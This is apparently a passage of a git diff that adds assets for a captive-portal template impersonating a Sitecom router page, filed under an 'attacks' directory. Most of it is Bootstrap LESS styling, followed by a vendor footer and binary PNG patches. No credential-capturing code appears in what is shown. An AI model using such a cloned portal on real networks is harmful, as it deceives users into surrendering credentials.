dropups via extra dropup class\n.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {\n margin-bottom: 0;\n .border-top-radius(@navbar-border-radius);\n .border-bottom-radius(0);\n}\n\n\n// Buttons in navbars\n//\n// Vertically center a button within a navbar (when *not* in a form).\n\n.navbar-btn {\n .navbar-vertical-align(@input-height-base);\n\n &.btn-sm {\n .navbar-vertical-align(@input-height-small);\n }\n &.btn-xs {\n .navbar-vertical-align(22);\n }\n}\n\n\n// Text in navbars\n//\n// Add a class to make any element properly align itself vertically within the navbars.\n\n.navbar-text {\n .navbar-vertical-align(@line-height-computed);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin-left: @navbar-padding-horizontal;\n margin-right: @navbar-padding-horizontal;\n }\n}\n\n\n// Component alignment\n//\n// Repurpose the pull utilities as their own navbar utilities to avoid specificity\n// issues with parents and chaining. Only do this when the navbar is uncollapsed\n// though so that navbar contents properly stack and align in mobile.\n//\n// Declared after the navbar components to ensure more specificity on the margins.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-left { .pull-left(); }\n .navbar-right {\n .pull-right();\n margin-right: -@navbar-padding-horizontal;\n\n ~ .navbar-right {\n margin-right: 0;\n }\n }\n}\n\n\n// Alternate navbars\n// --------------------------------------------------\n\n// Default navbar\n.navbar-default {\n background-color: @navbar-default-bg;\n border-color: @navbar-default-border;\n\n .navbar-brand {\n color: @navbar-default-brand-color;\n &:hover,\n &:focus {\n color: @navbar-default-brand-hover-color;\n background-color: @navbar-default-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-default-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-default-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n\n .navbar-toggle {\n border-color: @navbar-default-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-default-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-default-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: @navbar-default-border;\n }\n\n // Dropdown menu items\n .navbar-nav {\n // Remove background color from open dropdown\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-default-link-active-bg;\n color: @navbar-default-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n > li > a {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n background-color: @navbar-default-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-active-color;\n background-color: @navbar-default-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n background-color: @navbar-default-link-disabled-bg;\n }\n }\n }\n }\n }\n\n\n // Links in navbars\n //\n // Add a class to ensure links outside the navbar nav are colored correctly.\n\n .navbar-link {\n color: @navbar-default-link-color;\n &:hover {\n color: @navbar-default-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-default-link-color;\n &:hover,\n &:focus {\n color: @navbar-default-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-default-link-disabled-color;\n }\n }\n }\n}\n\n// Inverse navbar\n\n.navbar-inverse {\n background-color: @navbar-inverse-bg;\n border-color: @navbar-inverse-border;\n\n .navbar-brand {\n color: @navbar-inverse-brand-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-brand-hover-color;\n background-color: @navbar-inverse-brand-hover-bg;\n }\n }\n\n .navbar-text {\n color: @navbar-inverse-color;\n }\n\n .navbar-nav {\n > li > a {\n color: @navbar-inverse-link-color;\n\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n\n // Darken the responsive nav toggle\n .navbar-toggle {\n border-color: @navbar-inverse-toggle-border-color;\n &:hover,\n &:focus {\n background-color: @navbar-inverse-toggle-hover-bg;\n }\n .icon-bar {\n background-color: @navbar-inverse-toggle-icon-bar-bg;\n }\n }\n\n .navbar-collapse,\n .navbar-form {\n border-color: darken(@navbar-inverse-bg, 7%);\n }\n\n // Dropdowns\n .navbar-nav {\n > .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @navbar-inverse-link-active-bg;\n color: @navbar-inverse-link-active-color;\n }\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display\n .open .dropdown-menu {\n > .dropdown-header {\n border-color: @navbar-inverse-border;\n }\n .divider {\n background-color: @navbar-inverse-border;\n }\n > li > a {\n color: @navbar-inverse-link-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n background-color: @navbar-inverse-link-hover-bg;\n }\n }\n > .active > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-active-color;\n background-color: @navbar-inverse-link-active-bg;\n }\n }\n > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n background-color: @navbar-inverse-link-disabled-bg;\n }\n }\n }\n }\n }\n\n .navbar-link {\n color: @navbar-inverse-link-color;\n &:hover {\n color: @navbar-inverse-link-hover-color;\n }\n }\n\n .btn-link {\n color: @navbar-inverse-link-color;\n &:hover,\n &:focus {\n color: @navbar-inverse-link-hover-color;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @navbar-inverse-link-disabled-color;\n }\n }\n }\n}\n","// Navbar vertical align\n//\n// Vertically center elements in the navbar.\n// Example: an element has a height of 30px, so write out `.navbar-vertical-align(30px);` to calculate the appropriate top margin.\n\n.navbar-vertical-align(@element-height) {\n margin-top: ((@navbar-height - @element-height) / 2);\n margin-bottom: ((@navbar-height - @element-height) / 2);\n}\n","//\n// Utility classes\n// --------------------------------------------------\n\n\n// Floats\n// -------------------------\n\n.clearfix {\n .clearfix();\n}\n.center-block {\n .center-block();\n}\n.pull-right {\n float: right !important;\n}\n.pull-left {\n float: left !important;\n}\n\n\n// Toggling content\n// -------------------------\n\n// Note: Deprecated .hide in favor of .hidden or .sr-only (as appropriate) in v3.0.1\n.hide {\n display: none !important;\n}\n.show {\n display: block !important;\n}\n.invisible {\n visibility: hidden;\n}\n.text-hide {\n .text-hide();\n}\n\n\n// Hide from screenreaders and browsers\n//\n// Credit: HTML5 Boilerplate\n\n.hidden {\n display: none !important;\n}\n\n\n// For Affix plugin\n// -------------------------\n\n.affix {\n position: fixed;\n}\n","//\n// Breadcrumbs\n// --------------------------------------------------\n\n\n.breadcrumb {\n padding: @breadcrumb-padding-vertical @breadcrumb-padding-horizontal;\n margin-bottom: @line-height-computed;\n list-style: none;\n background-color: @breadcrumb-bg;\n border-radius: @border-radius-base;\n\n > li {\n display: inline-block;\n\n + li:before {\n content: \"@{breadcrumb-separator}\\00a0\"; // Unicode space added since inline-block means non-collapsing white-space\n padding: 0 5px;\n color: @breadcrumb-color;\n }\n }\n\n > .active {\n color: @breadcrumb-active-color;\n }\n}\n","//\n// Pagination (multiple pages)\n// --------------------------------------------------\n.pagination {\n display: inline-block;\n padding-left: 0;\n margin: @line-height-computed 0;\n border-radius: @border-radius-base;\n\n > li {\n display: inline; // Remove list-style and block-level defaults\n > a,\n > span {\n position: relative;\n float: left; // Collapse white-space\n padding: @padding-base-vertical @padding-base-horizontal;\n line-height: @line-height-base;\n text-decoration: none;\n color: @pagination-color;\n background-color: @pagination-bg;\n border: 1px solid @pagination-border;\n margin-left: -1px;\n }\n &:first-child {\n > a,\n > span {\n margin-left: 0;\n .border-left-radius(@border-radius-base);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius-base);\n }\n }\n }\n\n > li > a,\n > li > span {\n &:hover,\n &:focus {\n z-index: 2;\n color: @pagination-hover-color;\n background-color: @pagination-hover-bg;\n border-color: @pagination-hover-border;\n }\n }\n\n > .active > a,\n > .active > span {\n &,\n &:hover,\n &:focus {\n z-index: 3;\n color: @pagination-active-color;\n background-color: @pagination-active-bg;\n border-color: @pagination-active-border;\n cursor: default;\n }\n }\n\n > .disabled {\n > span,\n > span:hover,\n > span:focus,\n > a,\n > a:hover,\n > a:focus {\n color: @pagination-disabled-color;\n background-color: @pagination-disabled-bg;\n border-color: @pagination-disabled-border;\n cursor: @cursor-disabled;\n }\n }\n}\n\n// Sizing\n// --------------------------------------------------\n\n// Large\n.pagination-lg {\n .pagination-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @border-radius-large);\n}\n\n// Small\n.pagination-sm {\n .pagination-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @border-radius-small);\n}\n","// Pagination\n\n.pagination-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n > li {\n > a,\n > span {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n }\n &:first-child {\n > a,\n > span {\n .border-left-radius(@border-radius);\n }\n }\n &:last-child {\n > a,\n > span {\n .border-right-radius(@border-radius);\n }\n }\n }\n}\n","//\n// Pager pagination\n// --------------------------------------------------\n\n\n.pager {\n padding-left: 0;\n margin: @line-height-computed 0;\n list-style: none;\n text-align: center;\n &:extend(.clearfix all);\n li {\n display: inline;\n > a,\n > span {\n display: inline-block;\n padding: 5px 14px;\n background-color: @pager-bg;\n border: 1px solid @pager-border;\n border-radius: @pager-border-radius;\n }\n\n > a:hover,\n > a:focus {\n text-decoration: none;\n background-color: @pager-hover-bg;\n }\n }\n\n .next {\n > a,\n > span {\n float: right;\n }\n }\n\n .previous {\n > a,\n > span {\n float: left;\n }\n }\n\n .disabled {\n > a,\n > a:hover,\n > a:focus,\n > span {\n color: @pager-disabled-color;\n background-color: @pager-bg;\n cursor: @cursor-disabled;\n }\n }\n}\n","//\n// Labels\n// --------------------------------------------------\n\n.label {\n display: inline;\n padding: .2em .6em .3em;\n font-size: 75%;\n font-weight: bold;\n line-height: 1;\n color: @label-color;\n text-align: center;\n white-space: nowrap;\n vertical-align: baseline;\n border-radius: .25em;\n\n // Add hover effects, but only for links\n a& {\n &:hover,\n &:focus {\n color: @label-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Empty labels collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for labels in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n}\n\n// Colors\n// Contextual variations (linked labels get darker on :hover)\n\n.label-default {\n .label-variant(@label-default-bg);\n}\n\n.label-primary {\n .label-variant(@label-primary-bg);\n}\n\n.label-success {\n .label-variant(@label-success-bg);\n}\n\n.label-info {\n .label-variant(@label-info-bg);\n}\n\n.label-warning {\n .label-variant(@label-warning-bg);\n}\n\n.label-danger {\n .label-variant(@label-danger-bg);\n}\n","// Labels\n\n.label-variant(@color) {\n background-color: @color;\n\n &[href] {\n &:hover,\n &:focus {\n background-color: darken(@color, 10%);\n }\n }\n}\n","//\n// Badges\n// --------------------------------------------------\n\n\n// Base class\n.badge {\n display: inline-block;\n min-width: 10px;\n padding: 3px 7px;\n font-size: @font-size-small;\n font-weight: @badge-font-weight;\n color: @badge-color;\n line-height: @badge-line-height;\n vertical-align: middle;\n white-space: nowrap;\n text-align: center;\n background-color: @badge-bg;\n border-radius: @badge-border-radius;\n\n // Empty badges collapse automatically (not available in IE8)\n &:empty {\n display: none;\n }\n\n // Quick fix for badges in buttons\n .btn & {\n position: relative;\n top: -1px;\n }\n\n .btn-xs &,\n .btn-group-xs > .btn & {\n top: 0;\n padding: 1px 5px;\n }\n\n // Hover state, but only for links\n a& {\n &:hover,\n &:focus {\n color: @badge-link-hover-color;\n text-decoration: none;\n cursor: pointer;\n }\n }\n\n // Account for badges in navs\n .list-group-item.active > &,\n .nav-pills > .active > a > & {\n color: @badge-active-color;\n background-color: @badge-active-bg;\n }\n\n .list-group-item > & {\n float: right;\n }\n\n .list-group-item > & + & {\n margin-right: 5px;\n }\n\n .nav-pills > li > a > & {\n margin-left: 3px;\n }\n}\n","//\n// Jumbotron\n// --------------------------------------------------\n\n\n.jumbotron {\n padding-top: @jumbotron-padding;\n padding-bottom: @jumbotron-padding;\n margin-bottom: @jumbotron-padding;\n color: @jumbotron-color;\n background-color: @jumbotron-bg;\n\n h1,\n .h1 {\n color: @jumbotron-heading-color;\n }\n\n p {\n margin-bottom: (@jumbotron-padding / 2);\n font-size: @jumbotron-font-size;\n font-weight: 200;\n }\n\n > hr {\n border-top-color: darken(@jumbotron-bg, 10%);\n }\n\n .container &,\n .container-fluid & {\n border-radius: @border-radius-large; // Only round corners at higher resolutions if contained in a container\n padding-left: (@grid-gutter-width / 2);\n padding-right: (@grid-gutter-width / 2);\n }\n\n .container {\n max-width: 100%;\n }\n\n @media screen and (min-width: @screen-sm-min) {\n padding-top: (@jumbotron-padding * 1.6);\n padding-bottom: (@jumbotron-padding * 1.6);\n\n .container &,\n .container-fluid & {\n padding-left: (@jumbotron-padding * 2);\n padding-right: (@jumbotron-padding * 2);\n }\n\n h1,\n .h1 {\n font-size: @jumbotron-heading-font-size;\n }\n }\n}\n","//\n// Thumbnails\n// --------------------------------------------------\n\n\n// Mixin and adjust the regular image class\n.thumbnail {\n display: block;\n padding: @thumbnail-padding;\n margin-bottom: @line-height-computed;\n line-height: @line-height-base;\n background-color: @thumbnail-bg;\n border: 1px solid @thumbnail-border;\n border-radius: @thumbnail-border-radius;\n .transition(border .2s ease-in-out);\n\n > img,\n a > img {\n &:extend(.img-responsive);\n margin-left: auto;\n margin-right: auto;\n }\n\n // Add a hover state for linked versions only\n a&:hover,\n a&:focus,\n a&.active {\n border-color: @link-color;\n }\n\n // Image captions\n .caption {\n padding: @thumbnail-caption-padding;\n color: @thumbnail-caption-color;\n }\n}\n","//\n// Alerts\n// --------------------------------------------------\n\n\n// Base styles\n// -------------------------\n\n.alert {\n padding: @alert-padding;\n margin-bottom: @line-height-computed;\n border: 1px solid transparent;\n border-radius: @alert-border-radius;\n\n // Headings for larger alerts\n h4 {\n margin-top: 0;\n // Specified for the h4 to prevent conflicts of changing @headings-color\n color: inherit;\n }\n\n // Provide class for links that match alerts\n .alert-link {\n font-weight: @alert-link-font-weight;\n }\n\n // Improve alignment and spacing of inner content\n > p,\n > ul {\n margin-bottom: 0;\n }\n\n > p + p {\n margin-top: 5px;\n }\n}\n\n// Dismissible alerts\n//\n// Expand the right padding and account for the close button's positioning.\n\n.alert-dismissable, // The misspelled .alert-dismissable was deprecated in 3.2.0.\n.alert-dismissible {\n padding-right: (@alert-padding + 20);\n\n // Adjust close link position\n .close {\n position: relative;\n top: -2px;\n right: -21px;\n color: inherit;\n }\n}\n\n// Alternate styles\n//\n// Generate contextual modifier classes for colorizing the alert.\n\n.alert-success {\n .alert-variant(@alert-success-bg; @alert-success-border; @alert-success-text);\n}\n\n.alert-info {\n .alert-variant(@alert-info-bg; @alert-info-border; @alert-info-text);\n}\n\n.alert-warning {\n .alert-variant(@alert-warning-bg; @alert-warning-border; @alert-warning-text);\n}\n\n.alert-danger {\n .alert-variant(@alert-danger-bg; @alert-danger-border; @alert-danger-text);\n}\n","// Alerts\n\n.alert-variant(@background; @border; @text-color) {\n background-color: @background;\n border-color: @border;\n color: @text-color;\n\n hr {\n border-top-color: darken(@border, 5%);\n }\n .alert-link {\n color: darken(@text-color, 10%);\n }\n}\n","//\n// Progress bars\n// --------------------------------------------------\n\n\n// Bar animations\n// -------------------------\n\n// WebKit\n@-webkit-keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n// Spec and IE10+\n@keyframes progress-bar-stripes {\n from { background-position: 40px 0; }\n to { background-position: 0 0; }\n}\n\n\n// Bar itself\n// -------------------------\n\n// Outer container\n.progress {\n overflow: hidden;\n height: @line-height-computed;\n margin-bottom: @line-height-computed;\n background-color: @progress-bg;\n border-radius: @progress-border-radius;\n .box-shadow(inset 0 1px 2px rgba(0,0,0,.1));\n}\n\n// Bar of progress\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: @font-size-small;\n line-height: @line-height-computed;\n color: @progress-bar-color;\n text-align: center;\n background-color: @progress-bar-bg;\n .box-shadow(inset 0 -1px 0 rgba(0,0,0,.15));\n .transition(width .6s ease);\n}\n\n// Striped bars\n//\n// `.progress-striped .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar-striped` class, which you just add to an existing\n// `.progress-bar`.\n.progress-striped .progress-bar,\n.progress-bar-striped {\n #gradient > .striped();\n background-size: 40px 40px;\n}\n\n// Call animation for the active one\n//\n// `.progress.active .progress-bar` is deprecated as of v3.2.0 in favor of the\n// `.progress-bar.active` approach.\n.progress.active .progress-bar,\n.progress-bar.active {\n .animation(progress-bar-stripes 2s linear infinite);\n}\n\n\n// Variations\n// -------------------------\n\n.progress-bar-success {\n .progress-bar-variant(@progress-bar-success-bg);\n}\n\n.progress-bar-info {\n .progress-bar-variant(@progress-bar-info-bg);\n}\n\n.progress-bar-warning {\n .progress-bar-variant(@progress-bar-warning-bg);\n}\n\n.progress-bar-danger {\n .progress-bar-variant(@progress-bar-danger-bg);\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Progress bars\n\n.progress-bar-variant(@color) {\n background-color: @color;\n\n // Deprecated parent class requirement as of v3.2.0\n .progress-striped & {\n #gradient > .striped();\n }\n}\n",".media {\n // Proper spacing between instances of .media\n margin-top: 15px;\n\n &:first-child {\n margin-top: 0;\n }\n}\n\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n\n.media-body {\n width: 10000px;\n}\n\n.media-object {\n display: block;\n\n // Fix collapse in webkit from max-width: 100% and display: table-cell.\n &.img-thumbnail {\n max-width: none;\n }\n}\n\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n\n.media-middle {\n vertical-align: middle;\n}\n\n.media-bottom {\n vertical-align: bottom;\n}\n\n// Reset margins on headings for tighter default spacing\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n\n// Media list variation\n//\n// Undo default ul/ol styles\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n","//\n// List groups\n// --------------------------------------------------\n\n\n// Base class\n//\n// Easily usable on
© 2016 by Sitecom B.V. All rights reserved  -  Informativa sulla privacy
\ No newline at end of file diff --git a/attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav.png b/attacks/Captive Portal/sites/Sitecom_it.portal/img/bg_nav.png new file mode 100644 index 0000000000000000000000000000000000000000..70991701370f6c7f5dfa98b16fc8dca47706b782 GIT binary patch literal 206 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 